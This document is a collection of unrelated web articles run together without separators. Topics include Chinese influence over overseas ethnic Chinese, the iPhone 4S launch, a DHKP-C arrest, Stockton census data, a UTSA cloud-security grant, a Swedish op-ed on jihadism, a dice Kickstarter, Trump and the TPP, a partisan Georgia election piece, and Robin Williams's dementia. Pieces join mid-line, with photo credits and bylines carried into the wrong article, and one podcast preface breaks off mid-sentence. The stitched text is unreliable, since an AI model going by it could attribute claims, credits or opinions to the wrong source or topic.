However, in Hong Kong, the law means something else: “Where a Hong Kong resident is of Chinese descent and was born in the Chinese territories (including Hong Kong) … he is a Chinese national.”
Recently, China has been putting the pressure on. Holders of foreign passports are reporting that Chinese officials are “advising” them not to use their passports when traveling to the mainland, but to use China-issued travel documents that acknowledge them as Chinese nationals.
Even the holder of a foreign diplomatic passport has been refused a visa and told to use a re-entry permit. As a result, some are electing not to travel to China.
Much has been said about China’s growing nationalism but little attention has been paid to its increasing assertion of something akin to sovereignty over ethnic Chinese who are citizens of other countries.
While this is particularly noteworthy in Hong Kong, it is also true in the United States, Australia and other countries.
What China wants is for foreign citizens of ethnic Chinese background to be loyal to the “motherland” – meaning China – regardless of their citizenship and to work to further the interests of China.
This was disclosed in the People’s Daily a couple of years ago when it encouraged “more and more overseas Chinese to participate in the local political life”.
It referred to specifically to Congresswoman Judy Chu of California, who was born in the United States of immigrant parents, as someone “participating in politics in foreign countries”.
The Chinese government wants to make use of foreign politicians who happen to be of Chinese extraction to support its causes, such as in its territorial dispute with Japan.
The Chinese consul general in San Francisco, Luo Linquan, at an annual reception last December for American families that had adopted Chinese babies, reminded the young American girls and women that China was the land of their birth and that China would never forget them.
“You grow up speaking English,” the Chinese diplomat said but then added, “Yet your black eyes, black hair and dark skin all remind you that you are Chinese.”
He encouraged them to learn Chinese and to develop a “Chinese spirit”.
Being able to win the sympathy and support of this large group of Americans would be a great boost to Chinese influence in the US. About 100,000 Chinese babies have been adopted by American couples in the last 25 years.
In Australia, there have been charges that official Chinese propaganda was being used to influence the opinion and behavior of Australians of Chinese background.
“Beijing’s clandestine intrusion into our local Chinese press will have an impact on national security if it is not rooted out,” The Age reported in 2014.
The Chinese Communist Party’s propaganda bureau, the newspaper reported, was “buying up radio stations and newspapers across the country and channeling the voice of Beijing into them from editorial offices in China”.
Of course, this would primarily influence immigrants rather than native-born Australians, but such an influence should not be discounted. China clearly considers this to be important.
What all this means is that China is trying very hard to extend its influence abroad by using ethnic Chinese overseas, appealing to their sense of being Chinese, even though they are foreign citizens and had left the country of their birth.
– Contact us at [email protected]
CGIf there was still some shadow of a question in your mind over whether or not the iPhone 4S is real, doubt no more. Apple’s Japanese online store has outted the iPhone 4S, along with a launch date of October 14. First spotted by MacRumors, the page offers a “Learn More” link, but unfortunately clicking through only gets you to iPhone 4 information.
According to the blurb (as translated by Google), the iPhone 4S launch will begin at 8 a.m. on that blessed Friday morning. Last year the sequence of events looked something like this: The iPhone was announced on June 7, went up for pre-order on June 15, and launched in-store on June 24. Based on that, I’d guess that pre-orders will begin Friday morning, October 7. It’s tough to speculate based on history since Apple is clearly changing things up so much this year (two phones, Fall launch, etc.), but either way we’ll have our answers in the next hour or so.
Update: So it turns out I guessed correctly. Pre-orders begin October 7, and in-store availability begins October 14.Istanbul's anti-terror police captured a senior militant from the Revolutionary People's Liberation Party-Front (DHKP-C) terrorist group and seven other suspects. The militant, identified only as C.S.E. was remanded in custody on Friday.
The suspect was a member of a central committee of the terrorist group, which was behind the 2013 bombing of the U.S. embassy in Ankara, and acted as liaison with senior cadres of the group living abroad. The capture comes after a surveillance operation by anti-terror police. Other suspects include militants organizing rallies for DHKP-C supporters in Istanbul, a militant handling financial affairs and extortion. Apart from terror attacks, the DHKP-C is primarily known for its participation in violent riots where it employs youth sympathizing with the group.
The DHKP-C, although less influential in Turkey than other terrorist organizations such as the PKK, still represents a considerable threat to the country with a string of attacks in recent years. The group was behind the suicide bombing that targeted the United States Embassy in Ankara in 2013 and killed a Turkish security and the killing of a prosecutor in a courthouse complex in Istanbul in March 2015.
The DHKP-C was founded in 1978. Purportedly supporting a Marxist-Leninist ideology, it was most active during the Cold War era. The group has revived its attacks in recent years.(AP Photo/Ben Margot)
(CNSNews.com) - In Stockton, Calif., which has just entered into Chapter 9 bankruptcy, 41 percent of the people do not speak English at home and 21 percent cannot speak it very well, according to the U.S. Census Bureau.
Data that the Census Bureau developed on what it calls the “social characteristics” of Stockton during the five-year period from 2007 to 2011, indicate that this city, located eighty miles east of San Francisco in California’s San Joaquin Valley, had a population of 289,926.
Of those 289,926 people, 76,869 (or about 27 percent) were foreign born, according to the Census Bureau. Of these foreign-born, 43,084 (or about 15 percent of this city’s total population) were not U.S. citizens.
Looking at the subset of Stockton's population that was five years old or older (264,713), the Census Bureau estimated there were 119,991 people who did not speak English at home. These 119,991 people equaled about 41 percent of Stockton’s overall population of 289,926 people and about 45 percent of the 264,713 people in the city who were five years old or older.
The Census Bureau also estimated that there were 59,577 people over the age of five in Stockton who “speak English less than ‘very well.’” These 59,577 people in Stockton who had not mastered English equaled about 21 percent of the city’s total population and about 23 percent of its residents who were five years or older.
The Census Bureau estimated that there were 76,869 people in Stockton who were foreign born. This included 33,785 naturalized U.S. citizens and 43,084 people who were not U.S. citizens.
That means the foreign-born population of Stockton (76,869) equaled about 27 percent of the city’s total population and the 43,084 non-naturalized foreign nationals equaled about 15 percent of the city's total population.
According to the Census Bureau, the two regions of the world contributing the largest number of foreign-born residents to Stockton were Latin America and Asia. 37,886 people in Stockton (13 percent of the total population) were born in Latin America and 35,820 (12 percent of the total population) were born in Asia.
While the Census Bureau data does distinguish between foreign-born residents who have been naturalized and those who have not been naturalized, it does not distinguish between non-naturalized foreign nationals who are in the United States legally and those who were not.UTSA awarded $500,000 National Science Foundation grant to study cloud computing
Ram Krishnan and Ravi Sandhu
(Sept. 15, 2014) -- Ram Krishnan, assistant professor of electrical engineering in the UTSA College of Engineering, and Ravi Sandhu, Lutcher Brown Distinguished Chair in Cyber Security in the College of Sciences and director of the UTSA Institute for Cyber Security, have been awarded a $500,000 grant from the National Science Foundation (NSF) to improve the security of cloud-based infrastructures.
"Our research really complements what is already going on here at UTSA," said Krishnan. "Receiving this NSF grant allows us to share the groundbreaking research taking place at UTSA with the nation and the world."
Krishnan's expertise is in computer and network security, specifically in access control and security issues in cloud computing. When organizations move to the cloud, they also need to move their security to the cloud. Krishnan says that the goal of the NSF project is to develop a security mechanism where each cloud customer could maintain a level of control over their virtual assets in the cloud that is comparable to the level of control that was possible to maintain via their own premises.
Sandhu is a world-renowned cyber security expert whose research focuses on attribute-based access control and its applications in cloud computing, social computing and secure information sharing. He holds 29 patents, has authored more than 235 papers and been cited more than 25,000 times.
"The cloud revolution in computing will be much bigger than the PC and Internet revolutions of the past," said Sandhu. "Cloud technologists face three crucial problems: how to build and operate the cloud, how to use the cloud profitably for diverse applications and how to secure the cloud. UTSA scholars are working hard to be leaders in all three aspects and this grant will help foster that goal."
"Imagine a computer that you don't physically own but that is virtually available somewhere else," explained Krishnan. "You can only access the information on that computer through a network. For example, our UTSA email is hosted off-site on Microsoft servers. The information does not exist on each employee's personal computers; the data is held on Microsoft's cloud. That is the kind of system we are talking about."
Krishnan explained that having a person or company's extremely sensitive resource data located thousands of miles away and accessible through a cloud network presents challenges problem when it comes to security and accessibility.
"For a service provider like Amazon or Google that is hosting the data of multiple companies, there must be a system that determines who gets access to what information," said Krishnan. "The service provider has to figure out how they determine and control the access that the users have. We want to develop specialty access control so that a company can define the attributes of a user, which, in turn, determines that user's access."
Not only will the grant benefit UTSA research, but the educational potential of the grant will be a boon to students who will receive hands-on experience in state-of-the-art technologies, possibly in organized courses, dedicated to this topic in the near future.
"Today, if you are a graduate or an undergraduate student, it is so important to have some experience and knowledge of what cloud computing is and how to use the technology," said Krishnan. "The security aspects of cloud computing are especially a great topic to learn if you are an outgoing student, looking to work for one of these large service providers. Both the research and the educational aspects of this funded project are fantastic."
The Institute for Cyber Security is one dedicated UTSA center focused on solving global security challenges in today's increasingly technological world. In early 2014, UTSA's cybersecurity program was ranked No. 1 in the nation by a national survey of technology security professionals conducted by the Ponemon Institute.
UTSA is home to the Cloud and Big Data Laboratory, a space devoted to the research of new technologies and innovations in various areas of computing and big data research and development. The laboratory, developed in large part through industry collaboration, is designed to help the international business community improve its computing platforms through open-source hardware and cloud and big data technologies, and train a pipeline of students for the workforce.
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Connect online with UTSA on Twitter, Facebook, YouTube and Instagram.1 / 25 Charlie Crist
The former Florida governor <a href="http://www.huffingtonpost.com/2012/06/08/charlie-crist-gay-affair-_n_1582591.html" target="_hplink">was hit with allegations he paid two men to conceal gay affairs</a> in June 2012. The charges were revealed in documents obtained by local station WTSP, relating to the investigation of former Republican Party of Florida Chairman Jim Greer. A Florida Department of Law Enforcement Investigative Report <a href="http://www.addictinginfo.org/2012/06/09/florida/" target="_hplink">reportedly contains details</a> on an exchange between Chase and John Morgan, whose law firm Crist works at in Florida. "Morgan stated that if Crist were homosexual why would he try to kiss Greer, specifically stating, '(Crist) would have to be a sick son of a b***h to try to kiss Porky the Pig' in reference to Greer. Additionally, Morgan sent Chase an email indicating that it was his opinion that Greer was using Chase to extort Charlie (Crist) with embarrassing questions. Morgan indicated in his email that these types of questions were the same thing as asking, 'when was the last time you f**ked the neighbor's sheep' or 'are you still beating your wife." Meanwhile, Crist has <a href="http://www.wtsp.com/news/local/article/258551/8/Report-Charlie-Crist-paid-men-to-hide-gay-affair" target="_hplink">reportedly slammed the allegations</a> as "a bunch of delusional lies."
APMohamed Omar
Återigen sprider Rashid Musa, ordförande i Sveriges Unga Muslimer (SUM), dimridåer om det jihadistiska våldet. I artikeln ”Vi bör kunna säga nej till terror och ja till rättssäkerhet samtidigt” i webbtidningen Kultwatch den 9 juli befriar han de islamiska grundtexterna från allt ansvar. De som försöker hitta förklaringar till jihadismen i Koranen letar på fel ställe, menar han.
Men vad Musa inte nämner är att det i Koranen faktiskt finns texter som uppmanar till våld. Även om dessa texter inte själva kan förklara det jihadistiska våldet så torde de ha viss betydelse. Terroristerna som utförde attackerna mot World Trade Center den 11 september 2001 var religiöst hängivna muslimer som citerade Koranen. Musa kan säga att de inte var sådana muslimer som han gillar eller att de inte förstått Koranen såsom han förstår den. Men själva ansåg de sig vara goda muslimer som stred för den sanna tron. Uppenbarligen finns det olika sätt att tolka Koranen. Och uppenbarligen finns det en icke-obetydlig grupp muslimer som tolkar den jihadistiskt. Detta behöver diskuteras, inte smusslas undan.
Det är inte bara i Koranen det finns problematiska texter, utan även i haditherna, berättelserna om muslimernas profet Muhammed. I både Koranen och haditherna hittar man stöd för slaveri, heligt krig, plågsamma straff och teokratisk diktatur. De finns där sida vid sida med allmosor, bön, självbehärskning, barmhärtighet och frikostighet. Dessa texter tillkom i en annan tid än vår med helt andra värderingar. Men att texterna säger en sak behöver inte betyda att islam gör det. Islam är större än texterna och utvecklas ständigt. En sak som driver på utvecklingen är kritik och diskussion.
Rashid Musa påstår vidare att kriget mot terrorismen har gjort världen mera osäker. Islamiska Staten har bildats och hundratals muslimska ungdomar har rest från Sverige för att ansluta sig. Men han framför inte några belägg för att det är terrorbekämpningen som lett till ökad terror. Det kan mycket väl vara så att utan terrorbekämpningen skulle terrorn vara ännu mer utbredd och världen ännu mer osäker. Till skillnad från Musa tror jag att vi behöver göra mer för att motverka terrorismen, inte mindre. Passivitet är ingen lösning.
Det första ledare i det muslimska civilsamhället – som Rashid Musa – bör göra är att i klara och tydliga ordalag fördöma Islamiska Staten, den värsta av alla terrorgrupper som verkar i islams namn. Något han har vägrat att göra under förevändningen att frågan är ”islamofobisk”. Detta trots att han på Facebook den 14 februari 2014 skriver: ”Att inte ta ställning mot rasism och förtryck är också ett ställningstagande. Kanske den tydligaste formen av ett ställningstagande.” Har tanken slagit honom att det är just så hans vägran att ta avstånd från Islamiska Staten kan tolkas? Som ett tydligt ställningstagande FÖR Islamiska Staten? Jag tror inte att Musa stödjer Islamiska Staten. Jag eftersträvar klarhet.
Islamiska Staten är inte den enda jihadistiska terrorgruppen i Syrien. Muslimska Brödraskapet har sina egna väpnade miliser, vilka samarbetar med Al-Qaida. Därför kan det vara intressant att veta att Rashid Musa, trots uppmaningar, inte heller har tagit avstånd från Muslimska Brödraskapet. Han har tvärtom visat stöd genom att göra det så kallade ”rabiatecknet”, ett tecken som innebär att man visar fyra fingrar. Det är en sympatiyttring för Brödraskapets kamp i Egypten. I en konversation om Egypten på Twitter den 25 januari 2015 med Mathias Wåg, känd för sitt engagemang i Researchgruppen, skriver därtill Musa: ”Revolutionen har bara börjat”. Wåg undrar vilka Musa anser kan föra revolutionen vidare, varpå Musa svarar: ”Muslimska Brödraskapet och deras anhängare”. Musas sympatier för Brödraskapet, som i Syrien strider sida vid sida med Al-Qaida, sätter hans trovärdighet i fråga. Hur mån är han egentligen om att stoppa unga, svenska muslimer från att delta i jihad i Syrien? Hans sympatier för Brödraskapet gör mig också fundersam över hur allvarlig hans oro för muslimers mänskliga rättigheter egentligen är. Brödraskapets inställning till muslimers frihet att kritisera sin religion är välkänd, liksom dess diskriminerande politik mot muslimska kvinnor.
Musa fortsätter med att kritisera de som påstår att muslimer ALLTID motiveras av religion i alla sammanhang. Det är förstås helt absurt och mig veterligen en mycket sällsynt uppfattning. Jag tror att muslimer ibland motiveras av religion, ibland inte. Musa gör dock fel i att helt utesluta religiösa motiv som en av flera förklaringar av det jihadistiska våldet som sker i islams namn.
Tittar man på de svenska muslimer som har rest till Mellanöstern för att strida för terrorgrupper som Islamiska Staten och Al-Qaida så rör det sig ofta om mycket religiöst hängivna ungdomar. De flesta kommer från den salafitiska miljön och är djupt fientliga till andra tolkningar av islam såsom sufism och shiism. Man ser också i sociala medier att majoriteten av de som stödjer dessa terrorgrupper är religiösa personer med täta kontakter med moskéer, islamiska föreningar och islamiskt missionsarbete med salafitiska förtecken. Det är därför inte alls konstigt att ungdomar i just dessa djupt religiösa, salafitiska miljöer uppmärksammas av de som arbetar med att förebygga och hindra jihadistisk terrorism. Musa skriver raljant att det inte finns ”empiriska belägg för att moskébesök är inkörsporten till att hamna i Syrien”. Nej, att besöka en moské behöver inte alls vara första steget på en resa till Syrien, men av de som reser till Syrien för att strida för terrorgrupper har de allra flesta tidigare besökt moskéer, särskilt sådana med salafitisk profil. Det är därför helt rationellt att rikta sökarljuset mot dessa. Vi har inte resurser till att famla omkring på måfå.
Trots mina invändningar instämmer jag i Musas grundteser. Ja, brottsbekämpning i allmänhet och terrorismbekämpning i synnerhet är viktigt. Ja, det är viktigt att vi har en god beredskap mot terrorism. Ja, vi bör också försöka värna den svenska rättstraditionen i kampen mot terrorn. Och ja, vi bör kunna säga nej till terror och ja till rättssäkerhet samtidigt. Dock menar jag att Musas sätt att helt och hållet skylla jihadistisk terrorism på västs politik är oärlig och föga produktiv. Jihadismen är inte bara en reaktion på västs politik gentemot islamiska länder och dess våld riktar sig inte bara mot västerländska mål. Jihadismen är en ideologi som strävar efter att upprätta en teokratisk diktatur – detta oavsett vad väst gör – och dess främsta offer är muslimer och andra som bor i den islamiska världen. Den vill inte försvara muslimer i allmänhet från, för att tala med Musa, västerländska, liberala demokratiers ”grymma brott”, utan den vill utsätta muslimer för ännu grymmare brott i form av drakoniska, religiösa lagar och massmord på så kallade avfällingar och kättare.My podcast with Scorpion Computer Services CEO Walter O’Brien ended up sparking a lot of controversy.
Many skeptics asked pointed questions about Walter’s background, claims, and credentials (often pointing to pages like this or this). This is the first time I’ve run into such an issue with the podcast, so it’s taken me some time to figure out how to best address things.
I struggled with whether or not to take down the episode and associated blog post entirely. In the end, I decided it was more instructive to leave the original up (with a new preface) and add an audio note to the beginning of the podcast (coming soon).
I’m hoping it will help us all improve, especially yours truly.
Here’s my post-game analysis…
The purpose of my |
Incorporate your passion into your living space with a sleek bookend or mantle decor!
With options for both Standard and Countdown number orientation, the Tablebreaker is the perfect life-counter that all your friends are sure to envy!
The Tablebreaker was designed from the ground up with 3D modeling software; this allows us to ensure the greatest manufacturability and quality control. The Tablebreaker is then precision machined on a multi-axis CNC mill using a solid billet of 6063 architectural aluminum. After machining, the dice are color anodized to MIL-A-8625 specification. Finally, each die is etched using a CO2 laser. This process selectively removes the anodization and exposes the aluminum underneath to reveal the numbers on each face.
Why Architectural Aluminium (6063)?
Aluminum has a superb strength to weight ratio, making it the ideal material for a beautiful, yet durable display piece.
Architectural Aluminum (6063) facilitates the most vibrant anodize colors.
It’s always been our goal to bring you beautiful gaming accessories with as little risk as possible. Before launching this Kickstarter, we invested a lot of time, money and effort to make sure it was possible to bring our vision to life with a quality that we're proud of.
During our testing, we’ve found that in order to maintain a flawless finish, a small, shallow hole needed to be made in the otherwise solid block of aluminum to allow the die to be hung during the anodization process. We worked tirelessly to incorporate this into the overall design for a beautiful and complete finish. We solved the design change by adding a second hole, and incorporating them into distinguishing markers for the 6 and the 9. Our final product will feature two small, flush, stainless steel accent screws to complete this modern look.
What people are saying?
"I want someone to know when I am beating them that I am also a nerd!" - Dani F. Hyper RPG
"You also get like a cool line when you crack them over the head 'CRITICAL HIT!'" - Zaddy N. Hyper RPG
"I could crush all of your Hero Forge minis with this" -- Tom L. Saving Throw Show
"Does a crane come with it to lift that behemoth?" -- John C.
"I definitely want a Tablebreaker!" -- Amanda R.
!" -- Amanda R. "I like that it doubles as a display piece as well as protection against home invaders" -- Kenny A.
"I like that you can use it as a threat to a dm if you don't like what they are doing 'what's that DM? Did you just TPK the party? Let me roll this on your head for a saving throw.'" - Peter K.
"I like that I will finally make my player understand the power of the rolls an elder dragon makes. With it I can finally make IRL terror throws! DRAGON SMASH!!" -- Florian A.
CRITICAL HIT!
We've been working on The Tablebreaker for over six months. During this time, we've put our own money and countless hours into the research, development and design of our prototypes. Now, we need your help! To be able to offer The Tablebreaker at the cheapest possible price, we need to commit to a large order with our manufacturer. With your help, we can make The Tablebreaker a reality!Republican front-runner Donald Trump used an overnight rally to sharpen his attacks on the Trans-Pacific Partnership (TPP). US ratification is needed for the trade deal to come into effect, with a vote expected in December at the earliest.
"It's a horrible trade agreement," Trump told a rally in Ohio, which will hold its primary on Wednesday NZ Time.
"You have 12 countries – all of whom want to rip our heart out. You have China, which is not a part of it but wants to be a part of it at a later date. They're watching every move."
"It's too complicated. It's too big. Each country knows every word of that document and our people have never even looked at it or read it. We don't know what the hell it says. We should not do it."
Mr Trump also says the trade agreement would cost US jobs and undermine sovereignty, echoing arguments used here by the likes of Andrew Little and Jane Kelsey.
Earlier, Mr Trump said China would use the TPP – whose full text has been widely distributed on the internet — to manipulate and trick the US.
And with TPP negotiations stalemated in many areas, leading to an agreement that gives Fonterra precious little new access to North America, and US interests like Big Pharma and Hollywood only tiny gains in multinational powers, it's a stretch to say any country will be using it to rip another's heart out.
Nevertheless, Trump's appeal to disaffected working class whites is central to his success. And nowhere is their vote so crucial in so-called "rustbelt" states like Michigan and Ohio, which are crucial to the Republican presidential nominee race and always loom large in general elections. Polls have Mr Trump neck-and-neck with Ohio governor John Kasich in his home state.
Trump romped home in Michigan by going in the exact opposite direction to the TPP, promising to slap huge tariffs on cars assembled by US automakers at plants in Mexico. The Republican establishment fretted it was essentially a Democrat policy, but it proved hugely popular. Noisy crowds are not at home to even vaguely nuanced arguments about such a policy driving up the price of Ford and GM vehicles to the advantage of European and Asian automakers (though maybe they could receive even greater tariffs in a Muldoon-ian cycle of driving car prices ever upwards, or a wall built to stop them arriving at American docks).
Where the others sit
Second-placed Republican Senator Ted Cruz also sharpened his attacks on the TPP this week.
During the candidates' debate on Friday NZ time, Cruz said, "I opposed TPP, and have always opposed TPP. We’re getting killed in international trade right now."
Earlier, the arch social conservative said the trade deal would undermine US sovereignty.
On the Democrat side, Hillary Clinton and Senator Bernie Sanders have constantly out-bid each other in their efforts to bash the TPP. Although as Sanders pointed out in a Michigan debate last week (before winning the state in an upset), Clinton did describe the TPP as a "gold-plated trade deal" in 2013. There are suspicions on the left that once elected, she would again flip sides (as Bill Clinton did with his ultimate move to support the North American Free Trade Agreement, or Nafta).
For now, however, Clinton aides have told US media she will take a tougher stance on trade deals.
And it's interesting to note that such is the protectionist fervor that in the respective Republican and Democrat Michigan primaries (held on Wednesday), the success of the candidates across the two parties could be indexed to how anti-trade they are. Mr Sanders got the most votes overall, followed by Mrs Clinton then Mr Trump (who did face a four-way contest). The pro-TPP Kasich and Senator Marco Rubio trailed the field.
Moving toward the centre, a little
Trump won some guarded praised from the Republican establishment this week with a much lower-key debate performance and indications he is moving to the centre on immigration and torture – now styling his initial hardline policies as "opening bids" in a Trump-ian process of negotiating everything.
But the moderation only went so far. There were brawls at rallies, and on the key issue of trade, the brash New Yorker has only moved further from Republican orthodoxy.
Why US ratification matters
The TPP needs ratification by countries representing 85% of the GDP of original signatories to come into force. It can't reach that threshold unless US lawmakers approve the deal. Due to the extended, multi-step process* to get the enabling legislation in front of Congress, a ratification vote is expected in December or later.
The TPP must be ratified by both branches of Congress (the House of Representatives and the Senate), then signed by the President.
December will be the so-called lame-duck Congressional session, where the term-expired President Obama and any Congressman who failed to win in November still sitting before their formal departure in January. That means Obama could, in theory, push the TPP through then. Last year, the Republican majority in Congress did, after all, support the White House's bid for extended trading authority, helping to smooth the way for the trade deal's final negotiations. But recently, taking their cues from Messrs Trump and Cruz's wild success with protectionist policy, key Republicans in Congress have come out against the deal. Some pundits now think majority support has been lost.
After taking power on January 20, the new president will have the power to veto any legislation, including a law to ratify the TPP. A law can be passed by a simple majority in Congress, but two-thirds support (rarely achieved) is necessary to override a presidential veto.
A brokered convention?
Having survived a crude debate performance and sharp attack ads to win Michigan handily, it’s become hard to see any outcome bar Trump winning the Republican nomination.
The next key moment will come on Wednesday NZ time when Florida (third-placed Senator Marco Rubio’s home state) and Ohio (fourth-placed governor John Kasich’s home ground) will hold primaries. Kasich would win Ohio but Rubio is well behind Trump in Florida polls.
However, it’s still possible Mr Trump will fail to get the 1237 delegates needed for a clear majority.
In that case, the Republicans will go to a brokered convention in July. That means that after the first round of voting, nearly all delegates will no longer be bound by the vote in their state; they’ll be free to vote for any candidate who ran in the primaries, or indeed anyone who puts themselves forward.
An outsider candidate could have a real shot at the candidacy in a brokered convention, given Cruz is only marginally less popular with the party establishment than Trump, and Marco Rubio is widely regarded as too extremist to be electable in a general election – a fact masked by Trump’s antics and the mordant Mr Cruz, who have made him seem like the “normal” candidate. Some will be hoping that Michael Bloomberg, having ruled himself out of the primary race, could step into the fray at this point.
However, with most of the remaining states holding winner-take-all primaries, and Trump leading in the polls in most, hopes for a brokered convention are fading by the week.
Tune into NBR Radio’s Sunday Business with Andrew Patterson on Sunday morning, for analysis and feature-length interviews.
* To channel a Washington Post summary: The first steps begin when the White House formally sends Congress a notice of intent to sign the agreement, which kicks off a 90-day waiting period [this happened in the first week of November, 2015]. Congress gets to spend the first 30 days of that time privately reviewing the documents and consulting with the administration.
Next comes the public phase. The full trade deal will be open for anyone to review for 60 days allowing interest groups to provide feedback. This window will provide critical insight into how much popular support the deal may receive. A poor reception during the public phase could make it difficult for Obama to rally support when it comes time for Congress to vote.
The next step will be for the US International Trade Commission to conduct a full economic review of the deal. The agency has up to 105 days to complete that work but the process could take much less time.
Once the implementing bill is introduced in the House and the Senate, Congress has a maximum of 90 days to approve or disapprove the trade deal.
TPP boosters hope the Obama White House can accelerate this process to the maximum degree possible, but the norm is for a final-term president to have difficulty pushing through his agenda in his final few months.After all, weren't President Trump's poll numbers down? Didn't the "resistance" put on a mega-protest show and continue its tantrum in all the days-of-rage riots on college campuses? Wasn't President Trump engulfed in scandal for colluding with the Russians to win the 2016 election that was rightfully Hillary Clinton's? Weren't the leftists whispering: "President Pence"?
The special election in the 6th District of Georgia was universally billed " a high-stakes referendum on Trump " in all the much hyped build-up coming from the left and its media allies. Not a local election, not a fluke election. A moment-of-truth Referendum on Trump.
Rubbing their mousy hands together with glee, it's pretty clear that leftists thought they had a certain victory in the bag with that "narrative," along with a perfect post-election analysis, no matter what the Georgia voters thought about it.
Get a load of this now comical pompous pre-election analysis that ran earlier this week in the New York Times (emphasis mine):
The hard-fought battle for Mr. Price's seat in Atlanta's northern reaches has not only become a financial arms race – by far the most expensive House contest in history – it has evolved into one of the most consequential special elections in decades. Republicans, weighed down by Mr. Trump's growing unpopularity, must demonstrate they can separate themselves from the president enough to hold suburban districts that only now are becoming battlegrounds. And Democrats, facing a restive base hungry for victory after disappointing losses in Montana and Kansas, are under pressure to show they can notch something more than a moral victory in the sort of affluent seat they will need in order to take back the House majority. An outright win in Georgia would serve as validation of the party's overall strategy.
Didn't turn out as they thought it would.
So it was a referendum on Trump? Maybe so. Lookee here: what were the locals saying when Karen Handel won the special election last night? From the Atlanta Journal Constitution:
Handel thanked President Donald Trump and other prominent Republicans who supported her in the nationally watched runoff, leading to cheers of "Trump, Trump, Trump" from the crowd at the Hyatt Regency in Dunwoody.
Trump! Trump! Trump! Guess it really was a referendum, but not with the "narrative" Ben Rhodes and all his fellow Democratic Party coevals and media toadies thought it would be. Apparently, hating Trump is not sufficient to win elections these days.
The reality it shows is that Georgia voters and Americans in general are tired as heck of the left's kitchen-sink Energizer Bunny-style efforts to delegitimize President Trump – whether through tantrums, thuggery, lawsuits, special prosecutors, fake news, gobs and gobs of campaign cash, or "any means necessary."
Handel wasn't always riding high in the polls, but when it came down to brass tacks and the coinciding news was in all the disgusting efforts to stop President Trump and the agenda the people elected him to accomplish back in Washington, Handel's numbers crossed the victory threshold.
Democrats, of course, are horrified, though some are trying to put the best possible face on it, and others are vowing to double down on extremism. To take two examples spotted on Twitter:
Dont lost your mind over GA-06. We have healthcare to fight for right now and 94 R held seats more favorable to Ds https://t.co/h2AoYt8j6m — Jen Psaki (@jrpsaki) June 21, 2017
There'll be Democrats who feel as tho they lost b/c moderating message.
They'll want to go militant progressive for 2018.
They will be wrong pic.twitter.com/LWl7406X5Z — SalenaZito (@SalenaZito) June 21, 2017
What they won't do is take an honest look at themselves and why voters chose Trump.
There are two things to observe about this.
One is an observation from Peggy Noonan, who pointed out a few months ago that Trump's support isn't likely to tank or fade for the simple reason that voters took a long time to make up their mind on whether to support Trump. Making that mental "investment," they weren't about to scrap it over something small or stupid.
The other thing is that Democrats have yet to confront the problem as to why they are losing elections. The big reason is that they have swung hard left on every single issue they once had moderates on – immigration, government spending, health care, law and order, terrorism. In every single instance, it's a stance that benefits some special interest group and leaves the average voter with the bill.
What's more, it's a creepy kind of left-wingery – one that benefits corporate interests at the expense of Main Street. Whenever some big-spending, freedom-ending intrusive Democrat program is rolled out "for the children," you can bet there is a plethora of corporate hipster crony capitalists slavering in the rafters over all the new contracts to come. The backwash is massive speaking fees these corporate beneficiaries shovel out to Democrats once the programs are enacted. This is not the party of the little guy.
And it's an inflexible, brittle stance as well. Like Obama, the left finds it impossible change course when it goes too far. It just keeps digging deeper and deeper into its left-wing party line, intensifying it and thrilling its special interest activists and Sorosian NGOs determined to "make a difference."
Voters can see that – and yet at election time, the Democrats don't run one of these new-style extremists emblematic of who they now are. Such extremism is reserved for leftist representatives in safe and longtime seats such as Rep. Maxine Waters (D-Calif.). The Democrats run what they claim is a "moderate," figuring that voters won't notice how far the party has shifted left. Figuring that the youth gambit would work in the States as it did in France and Canada, they ran a candidate who tried to capitalize on his youthfulness – in this case, the 30-year-old documentary filmmaker named Jon Ossoff, who didn't even live in the district he purported to represent. He just said he hated Trump – and proposed a raft of tax hikes to prove he was a business-as-usual Democrat, not a new-style street extremist or Sorosian crony.
It doesn't work.
Now the Democrats are left with a steaming pile of $23 million in campaign debt, shelling out $200 per vote, all because they thought hating on Trump was a winning strategy that would thrill the voters. And if that isn't clear enough a message, a similar race in the 5th District of South Carolina came out the same way.
The left wanted a referendum on Trump. Today, they got it.Gilbert Carrasquillo via Getty Images NEW YORK, NY - APRIL 28: Susan Schneider (L) and comedian Robin Williams attend The Comedy Awards 2012 at Hammerstein Ballroom on April 28, 2012 in New York City.
Robin Williams' widow said that an autopsy of the actor indicated that he took his own life in 2014 not because of depression, but because of a progressive brain disease called diffuse Lewy body dementia, or dementia with Lewy bodies, reports People magazine.
In an interview with People, Susan Williams reveals that in the year his death, Williams struggled with unexplained mental symptoms including anxiety and delusions. The disease also manifested itself physically, burdening him with muscle rigidity and impaired movement. But it wasn’t until he died and his body was autopsied that doctors were able to pinpoint the cause of his symptoms.
Williams died Aug. 11, 2014 in his home in Tiburon, California, and his death was declared a suicide by authorities. The circumstances of his death and statements by his publicist led many to believe that the actor was experiencing debilitating depression and substance use disorder. He did indeed suffer from depression, his widow confirmed to People, but his post-mortem diagnosis suggests that dementia with Lewy bodies was the underlying biological cause for those chronic brain disease symptoms.
DLB is a complex disease to diagnose because so many of it symptoms can possibly be Alzheimer’s disease or Parkinson’s disease. However, the condition is not rare; more than one million Americans have DLB, according to the National Institute of Health’s National Institute on Aging, and most of them are over 50 years old.
The disease is named for Lewy bodies, abnormal protein deposits in the brain. These abnormal deposits can affect a person's thoughts, behavior and mood, as well as their ability to move. It’s the third most common cause of dementia, and the symptoms get worse over time.
The disease can sometimes cause visual hallucinations, causing people to see things like animals or people who aren’t in the same room with them. The Mayo Clinic notes that this can sometimes result in people experiencing depression or having conversations with loved ones who are dead. And in addition to muscle rigidity and restricted movement, other physical symptoms include sweating, increased blood pressure, dizziness, falls and difficulty sleeping.
There are two types of DLB. Dementia with Lewy bodies, which is what Williams had, starts off with movement problems and is followed by cognitive symptoms after less than a year. In another type, Parkinson’s disease dementia, the cognitive symptoms take more than a year to appear after movement symptoms first start.
You’re more at risk of contracting the disease if you’re a man, over 60, or have a family member with DLB. On average, people with DLB live about five to seven years before dying, but some people have lived as long as 20 years with the disease, notes the NIH.
Currently, there is no cure for DLB. Treatment includes medications that are also used for Alzheimer’s disease and Parkinson’s disease. Antipsychotic medications can help with the delusions and hallucinations, but people with DLB are extremely sensitive to some antipsychotics, so extreme caution is warranted. Some non-drug treatments for DLB include clearing the home of clutter so moving around is easier, simplifying tasks and daily routines, and even accepting the hallucinations for what they are.
"Many times a person with Lewy body dementia isn't distressed by the hallucinations and even recognizes them as such,” the Mayo Clinic explained. "In these cases the side effects of medication may be worse than the experience of the hallucinations themselves."
